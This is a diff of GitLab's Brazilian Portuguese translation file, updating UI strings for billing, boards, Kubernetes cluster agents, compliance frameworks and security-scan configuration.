msgstr "As configurações de solicitação de mesclagem foram atualizadas"
@@ -4466,6 +4524,9 @@ msgstr "Tem certeza de que deseja excluir este %{typeOfComment}?"
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "Tem certeza de que deseja excluir este dispositivo? Esta ação não pode ser desfeita."
@@ -4669,6 +4730,9 @@ msgstr "Atribuir à"
msgid "Assign to commenting user"
msgstr "Atribuir ao usuário que comentou"
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr "Atribuir-se a essas issues"
@@ -4766,6 +4830,9 @@ msgstr "Falha ao anexar o arquivo."
msgid "Audit Events"
msgstr "Eventos de auditoria"
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr "(removido)"
@@ -5016,10 +5083,10 @@ msgid "Automatic deployment rollbacks"
msgstr "Reversões de implantação automáticos"
msgid "Automatic event tracking provides a traceable history for audits."
-msgstr ""
+msgstr "O rastreamento automático de eventos fornece um histórico rastreável para auditorias."
msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
-msgstr ""
+msgstr "O incidente associado fecha automaticamente quando uma notificação de aviso de recuperação resolve um alerta"
msgid "Automatically resolved"
msgstr "Resolvido automaticamente"
@@ -5304,7 +5371,7 @@ msgid "BillingPlans|per user"
msgstr "por usuário"
msgid "BillingPlan|Contact sales"
-msgstr "Contato de vendas"
+msgstr "Contatar vendas"
msgid "BillingPlan|Upgrade"
msgstr "Atualizar"
@@ -5334,7 +5401,7 @@ msgid "Billings|Reactivate trial"
msgstr "Reativar avaliação"
msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
-msgstr ""
+msgstr "Executores compartilhados não podem ser ativados até que um cartão de crédito válido seja registrado."
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5355,7 +5422,7 @@ msgid "Billings|Validate user account"
msgstr "Validar conta de usuário"
msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
-msgstr ""
+msgstr "Sua conta de usuário foi validada com sucesso. Agora você pode usar minutos de pipeline gratuitos."
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr "O usuário foi removido com sucesso"
msgid "Billing|Users occupying seats in"
msgstr "Usuários que ocupam assentos em"
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr "Selecione um projeto"
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr "Ocorreu um erro ao obter os marcos, por favor, tente novamente."
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr "Ocorreu um erro ao procurar os usuários, por favor, tente novamente;"
@@ -5500,12 +5573,21 @@ msgstr "Qualquer marco"
msgid "BoardScope|Any assignee"
msgstr "Qualquer responsável"
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr "Responsável"
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr "Editar"
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr "Marco"
@@ -5518,6 +5600,9 @@ msgstr "Buscar marco"
msgid "BoardScope|Select assignee"
msgstr "Selecionar responsável"
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr "Selecionar marco"
@@ -5609,6 +5694,9 @@ msgstr "Expandir"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr "Novo épico"
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr "Ver escopo"
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5763,7 +5854,7 @@ msgid "Branches|Please type the following to confirm:"
msgstr "Por favor, digite o seguinte para confirmar"
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
-msgstr "Branches protegidas podem ser gerenciadas em %{project_settings_link}."
+msgstr "Ramificações protegidas podem ser gerenciadas em %{project_settings_link}."
msgid "Branches|Show active branches"
msgstr "Mostrar branches ativas"
@@ -5811,7 +5902,7 @@ msgid "Branches|To discard the local changes and overwrite the branch with the u
msgstr "Para descartar as alterações locais e sobrescrever o branch com a versão upstream, exclua-o aqui e escolhe 'Atualize agora' acima."
msgid "Branches|Unable to load branches"
-msgstr ""
+msgstr "Não é possível carregar as ramificações"
msgid "Branches|Yes, delete branch"
msgstr "Sim, apagar o branch"
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr "Importar grupos do GitLab"
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr "Importar selecionado"
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr "Última importação para %{link}"
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr "Novo grupo"
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr "URL de Retorno"
@@ -6362,10 +6462,10 @@ msgid "Capacity threshold"
msgstr "Limite de capacidade"
msgid "Card holder name"
-msgstr ""
+msgstr "Nome do titular do cartão"
msgid "Card number:"
-msgstr ""
+msgstr "Numero do cartão:"
msgid "CascadingSettings|Enforce for all subgroups"
msgstr "Aplicar para todos os subgrupos"
@@ -6374,7 +6474,7 @@ msgid "CascadingSettings|Setting enforced"
msgstr ""
msgid "CascadingSettings|Subgroups cannot change this setting."
-msgstr ""
+msgstr "Subgrupos não podem alterar esta configuração."
msgid "CascadingSettings|This setting has been enforced by an instance admin."
msgstr ""
@@ -6463,12 +6563,12 @@ msgstr "O revisor foi alterado para %{new}"
msgid "ChangeReviewer|Unassigned"
msgstr "Não atribuído"
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
@@ -6515,10 +6615,7 @@ msgid "Changes"
msgstr "Alterações"
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
-msgstr ""
-
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
+msgstr "As alterações são mostradas como se a revisão da %{b_close}origem%{b_open} estivesse sendo mesclada na revisão %{b_open}alvo%{b_close}."
msgid "Changes saved."
msgstr "Alterações salvas."
@@ -6532,6 +6629,9 @@ msgstr "Altera o título para \"%{title_param}\"."
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr "Alterar a URL do grupo pode ter efeitos colaterais indesejados."
@@ -6595,10 +6695,10 @@ msgstr "Verificar disponibilidade de funcionalidades no plano de espaço de nome
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6608,7 +6708,7 @@ msgid "Check your Docker images for known vulnerabilities."
msgstr "Verifique suas imagens do Docker quanto a vulnerabilidades conhecidas."
msgid "Check your Kubernetes cluster images for known vulnerabilities."
-msgstr ""
+msgstr "Verifique as imagens de cluster do Kubernetes em busca de vulnerabilidades conhecidas."
msgid "Check your source instance permissions."
msgstr ""
@@ -6660,6 +6760,9 @@ msgstr "Assinatura do GitLab de %{name}"
msgid "Checkout|%{name}'s storage subscription"
msgstr "Assinatura de armazenamento de %{name}"
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr "%{quantity} GB de armazenamento"
@@ -6674,9 +6777,6 @@ msgstr "plano %{selectedPlanText}"
msgid "Checkout|%{startDate} - %{endDate}"
msgstr "%{startDate} - %{endDate}"
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr "%{totalCiMinutes} minutos de CI"
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6696,7 +6796,7 @@ msgid "Checkout|CI minute packs are only used after you've used your subscriptio
msgstr ""
msgid "Checkout|CI minutes"
-msgstr ""
+msgstr "Minutos de CI"
msgid "Checkout|Checkout"
msgstr "Checkout"
@@ -6732,7 +6832,7 @@ msgid "Checkout|Edit"
msgstr "Editar"
msgid "Checkout|Enter a number greater than 0"
-msgstr ""
+msgstr "Insira um número maior que 0"
msgid "Checkout|Exp %{expirationMonth}/%{expirationYear}"
msgstr "Expira em: %{expirationMonth}/%{expirationYear}"
@@ -6849,7 +6949,7 @@ msgid "Checkout|minutes"
msgstr "minutos"
msgid "Checkout|x %{quantity} %{units} per pack"
-msgstr ""
+msgstr "x %{quantity} %{units} por pacote"
msgid "Checkout|x %{quantity} %{units} per pack ="
msgstr "x %{quantity} %{units} por pacote="
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr "Escolher arquivo..."
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr "Escolha um arquivo"
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr "Clientes"
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr "Clonar"
@@ -7197,10 +7297,10 @@ msgid "Clone with SSH"
msgstr "Clonar com SSH"
msgid "CloneIssue|Cannot clone issue due to insufficient permissions!"
-msgstr ""
+msgstr "Não é possível clonar a issue devido a permissões insuficientes!"
msgid "CloneIssue|Cannot clone issue to target project as it is pending deletion."
-msgstr ""
+msgstr "Não é possível clonar a issue para o projeto alvo, pois está pendente de exclusão."
msgid "CloneIssue|Cannot clone issues of '%{issue_type}' type."
msgstr "Não é possível clonar as issues do tipo '%{issue_type}"
@@ -7217,6 +7317,9 @@ msgstr "Fechar"
msgid "Close %{issueType}"
msgstr "Fechar %{issueType}"
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr "Fechar %{tabname}"
@@ -7259,12 +7362,6 @@ msgstr "Fechado: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr "Fecha este %{quick_action_target}."
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr "Cluster"
@@ -7286,17 +7383,32 @@ msgstr "Nível de cluster"
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr "Tokens de acesso"
+msgid "ClusterAgents|Actions"
+msgstr "Ações"
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
-msgstr "Métodos de instalação alternativos"
+msgid "ClusterAgents|All"
+msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
msgstr "Ocorreu um erro ao carregar seu GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr "Ocorreu um erro ao carregar seu agente."
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr "Ocorreu um erro desconhecido. Por favor, tente novamente."
+msgid "ClusterAgents|Certificate"
+msgstr "Certificado"
+
msgid "ClusterAgents|Configuration"
msgstr "Configuração"
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr "Conectar um cluster existente"
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr "Conectado"
@@ -7319,6 +7452,9 @@ msgstr "Status da conexão"
msgid "ClusterAgents|Copy token"
msgstr "Copiar token"
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr "Criado por"
@@ -7328,29 +7464,32 @@ msgstr "Criado por %{name} %{time}"
msgid "ClusterAgents|Date created"
msgstr "Data de criação"
+msgid "ClusterAgents|Deprecated"
+msgstr "Obsoleto"
+
msgid "ClusterAgents|Description"
msgstr "Descrição"
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
-msgstr "Ir para o repositório"
+msgid "ClusterAgents|GitLab Agent"
+msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
-msgstr "Instalar um novo agente do GitLab"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
+msgstr ""
-msgid "ClusterAgents|Install new Agent"
-msgstr "Instalar novo agente."
+msgid "ClusterAgents|Go to the repository files"
+msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
-msgstr "Integrar Kubernetes com um GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
+msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
-msgstr "Integrar com o GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
+msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
msgstr "Última conexão %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr "Última conexão"
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr "Aprenda a criar um token de acesso do agente"
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr "Certifique-se de estar usando um token válido."
@@ -7373,60 +7515,78 @@ msgstr "Nunca"
msgid "ClusterAgents|Never connected"
msgstr "Nunca conectado"
+msgid "ClusterAgents|No agents"
+msgstr "Sem agentes"
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr "Nenhum cluster conectado por meio de certificados de cluster"
+
msgid "ClusterAgents|Not connected"
msgstr "Não conectado"
-msgid "ClusterAgents|Read more about getting started"
-msgstr "Leia mais sobre como começar"
+msgid "ClusterAgents|Recommended"
+msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr "Método de instalação recomendado"
+msgid "ClusterAgents|Register"
+msgstr ""
+
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
+msgstr ""
+
msgid "ClusterAgents|Registering Agent"
msgstr "Registrando o agente"
msgid "ClusterAgents|Registration token"
msgstr "Token de registro"
-msgid "ClusterAgents|Select an Agent"
-msgstr "Selecione um agente"
-
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
-msgstr "Selecione o agente que deseja registrar com o GitLab e instale em seu cluster. Para saber mais sobre o processo de registro do agente do Kubernetes %{linkStart}siga para a documentação%{linkEnd}."
-
-msgid "ClusterAgents|Select which Agent you want to install"
-msgstr "Selecione o agente que deseja instalar"
+msgid "ClusterAgents|Security"
+msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
-msgstr "O agente do GitLab também requer %{linkStart}a ativação do servidor do agente%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
+msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
-msgstr "O agente Kubernetes do GitLab permite abordagens GitOps de infraestrutura como código para integração de clusters Kubernetes com o GitLab. %{linkStart}Saiba mais.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
+msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
-msgstr "O valor do token não será mostrado novamente após fechar esta janela."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
+msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr "Este agente não tem tokens"
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
-msgstr "Para instalar um agente, você deve criar primeiro um diretório de agente no repositório. Recomendamos adicionar a configuração do agente ao diretório antes de iniciar o processo de instalação."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
+msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr "Usuário desconhecido"
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr "Você precisará criar um token para conectar ao seu agente"
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7539,7 +7699,7 @@ msgid "ClusterIntegration|Check your token"
msgstr "Verifique seu token"
msgid "ClusterIntegration|Choose the %{linkStart}security group%{linkEnd} to apply to the EKS-managed Elastic Network Interfaces that are created in your worker node subnets."
-msgstr ""
+msgstr "Escolha o %{linkStart}grupo de segurança%{linkEnd} para aplicar às interfaces de rede elástica gerenciadas por EKS que são criadas nos nós das sub-redes do seu worker."
msgid "ClusterIntegration|Choose the %{linkStart}subnets %{linkEnd} in your VPC where your worker nodes will run."
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr "O nome do cluster é obrigatório."
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr "Conectar um cluster existente"
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr "Conecte seu cluster ao GitLab por meio de %{linkStart}certificados de cluster%{linkEnd}."
+
msgid "ClusterIntegration|Connection Error"
msgstr "Erro de conexão"
@@ -7703,9 +7866,6 @@ msgstr "Recuperando projetos"
msgid "ClusterIntegration|Fetching zones"
msgstr "Recuperando zonas"
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr "Clusters administrados por um agente do GitLab"
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "Integração GitLab"
@@ -7751,12 +7911,6 @@ msgstr "Cluster de instância"
msgid "ClusterIntegration|Instance type"
msgstr "Tipo de instância"
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr "Integrar Kubernetes com uma certificação de cluster"
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr "Integrar com uma certificação de cluster"
-
msgid "ClusterIntegration|Integration disabled"
msgstr "Integração desativada"
@@ -7778,9 +7932,6 @@ msgstr "Nome do cluster Kubernetes"
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr "O cluster do Kubernetes foi criado com sucesso."
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr "Clusters Kubernetes permitem que você use apps de revisão, faça deploy de suas aplicações, execute suas pipelines e muito mais de um jeito mais simples."
-
msgid "ClusterIntegration|Kubernetes version"
msgstr "Versão do Kubernetes"
@@ -7980,7 +8131,7 @@ msgid "ClusterIntegration|See and edit the details for your Kubernetes cluster"
msgstr "Veja e edite os detalhes de seus cluster Kubernetes"
msgid "ClusterIntegration|Select a VPC"
-msgstr ""
+msgstr "Selecione um VPC"
msgid "ClusterIntegration|Select a VPC to choose a security group"
msgstr "Selecione um VPC para escolher um grupo de segurança"
@@ -7992,7 +8143,7 @@ msgid "ClusterIntegration|Select a VPC to use for your EKS Cluster resources. To
msgstr ""
msgid "ClusterIntegration|Select a network"
-msgstr ""
+msgstr "Selecione uma rede"
msgid "ClusterIntegration|Select a network to choose a subnetwork"
msgstr "Selecione uma rede para escolher uma sub-rede"
@@ -8004,22 +8155,22 @@ msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr "Selecione uma região para escolher um VPC"
msgid "ClusterIntegration|Select a security group"
-msgstr ""
+msgstr "Selecione um grupo de segurança"
msgid "ClusterIntegration|Select a subnet"
-msgstr ""
+msgstr "Selecione uma sub-redes"
msgid "ClusterIntegration|Select a subnetwork"
-msgstr ""
+msgstr "Selecione uma subrede"
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr "Selecione uma zona para escolher uma rede"
msgid "ClusterIntegration|Select an instance type"
-msgstr ""
+msgstr "Selecione um tipo de instância"
msgid "ClusterIntegration|Select key pair"
-msgstr ""
+msgstr "Selecione o par de chaves"
msgid "ClusterIntegration|Select machine type"
msgstr "Selecionar tipo de máquina"
@@ -8034,7 +8185,7 @@ msgid "ClusterIntegration|Select project to choose zone"
msgstr "Selecione o projeto para escolher a zona"
msgid "ClusterIntegration|Select service role"
-msgstr ""
+msgstr "Selecionar função de serviço"
msgid "ClusterIntegration|Select the key pair name that will be used to create EC2 nodes. To use a new key pair name, first create one on %{linkStart}Amazon Web Services%{linkEnd}."
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr "O certificado do Kubernetes usado para autenticar no cluster."
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr "A URL usada para acessar a API do Kubernetes."
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr "O método baseado em certificado para conectar clusters ao GitLab foi %{linkStart}obsoleto%{linkEnd}no GitLab 14.5."
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr "Impossível de conectar"
msgid "ClusterIntegration|Unknown Error"
msgstr "Erro desconhecido"
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr "Usa os complementos Cloud Run, Istio, e Balanceamento de Carga HTTP para este cluster."
@@ -8192,9 +8349,6 @@ msgstr "Ocorreu um erro ao carregar os clusters"
msgid "Code"
msgstr "Código"
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr "Cobertura de código: %{coveragePercentage}"
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr "Cobertura de código: %{coveragePercentage}%{percentSymbol}"
@@ -8217,7 +8371,7 @@ msgid "Code Review"
msgstr "Revisão de código"
msgid "Code Review Analytics displays a table of open merge requests considered to be in code review. There are currently no merge requests in review for this project and/or filters."
-msgstr ""
+msgstr "O Code Review Analytics exibe uma tabela de solicitações de mesclagem abertas consideradas em revisão de código. Atualmente não há solicitações de mesclagem em revisão para este projeto e/ou filtros."
msgid "Code coverage statistics for %{ref} %{start_date} - %{end_date}"
msgstr "Estatísticas de cobertura de código para %{ref} %{start_date} - %{end_date}"
@@ -8231,6 +8385,9 @@ msgstr "Proprietários de código"
msgid "Code review"
msgstr "Revisão de código"
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8441,7 +8598,7 @@ msgid "Company"
msgstr "Empresa"
msgid "Company Name"
-msgstr ""
+msgstr "Nome da empresa"
msgid "Compare"
msgstr "Comparar"
@@ -8495,7 +8652,7 @@ msgid "CompareRevisions|Select Git revision"
msgstr "Selecionar revisão do Git"
msgid "CompareRevisions|Select branch/tag"
-msgstr ""
+msgstr "Selecionar ramificação/tag"
msgid "CompareRevisions|Select target project"
msgstr "Selecionar projeto alvo"
@@ -8531,7 +8688,7 @@ msgid "Compliance framework"
msgstr "Framework de conformidade"
msgid "Compliance report"
-msgstr ""
+msgstr "Relatório de conformidade"
msgid "ComplianceDashboard|created by:"
msgstr "Criado por"
@@ -8540,19 +8697,19 @@ msgid "ComplianceFrameworks|Add framework"
msgstr "Adicionar framework"
msgid "ComplianceFrameworks|Background color"
-msgstr ""
+msgstr "Cor de fundo"
msgid "ComplianceFrameworks|Cancel"
-msgstr ""
+msgstr "Cancelar"
msgid "ComplianceFrameworks|Compliance framework deleted successfully"
msgstr ""
msgid "ComplianceFrameworks|Compliance pipeline configuration (optional)"
-msgstr ""
+msgstr "Configuração do pipeline compliance (opcional)"
msgid "ComplianceFrameworks|Configuration not found"
-msgstr ""
+msgstr "Configuração não encontrada"
msgid "ComplianceFrameworks|Configured compliance frameworks appear here."
msgstr ""
@@ -8564,10 +8721,10 @@ msgid "ComplianceFrameworks|Delete framework"
msgstr "Excluir framework"
msgid "ComplianceFrameworks|Description"
-msgstr ""
+msgstr "Descrição"
msgid "ComplianceFrameworks|Description is required"
-msgstr ""
+msgstr "A descrição é necessária"
msgid "ComplianceFrameworks|Edit framework"
msgstr "Editar framework"
@@ -8582,13 +8739,13 @@ msgid "ComplianceFrameworks|Error fetching compliance frameworks data. Please re
msgstr ""
msgid "ComplianceFrameworks|Invalid format"
-msgstr ""
+msgstr "Formato inválido"
msgid "ComplianceFrameworks|Name"
-msgstr ""
+msgstr "Nome"
msgid "ComplianceFrameworks|Name is required"
-msgstr ""
+msgstr "O nome é necessário"
msgid "ComplianceFrameworks|No compliance frameworks are configured"
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr "Configurar integrações"
msgid "Configure Prometheus"
msgstr "Configurar Prometheus"
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr "Configurar rastreamento"
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr "Configurar a forma como o usuário cria uma nova conta."
-msgid "Configure via Merge Request"
-msgstr "Configurar via solicitação de mesclagem"
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr "Configure quais listas são mostradas para qualquer pessoa que visita este painel"
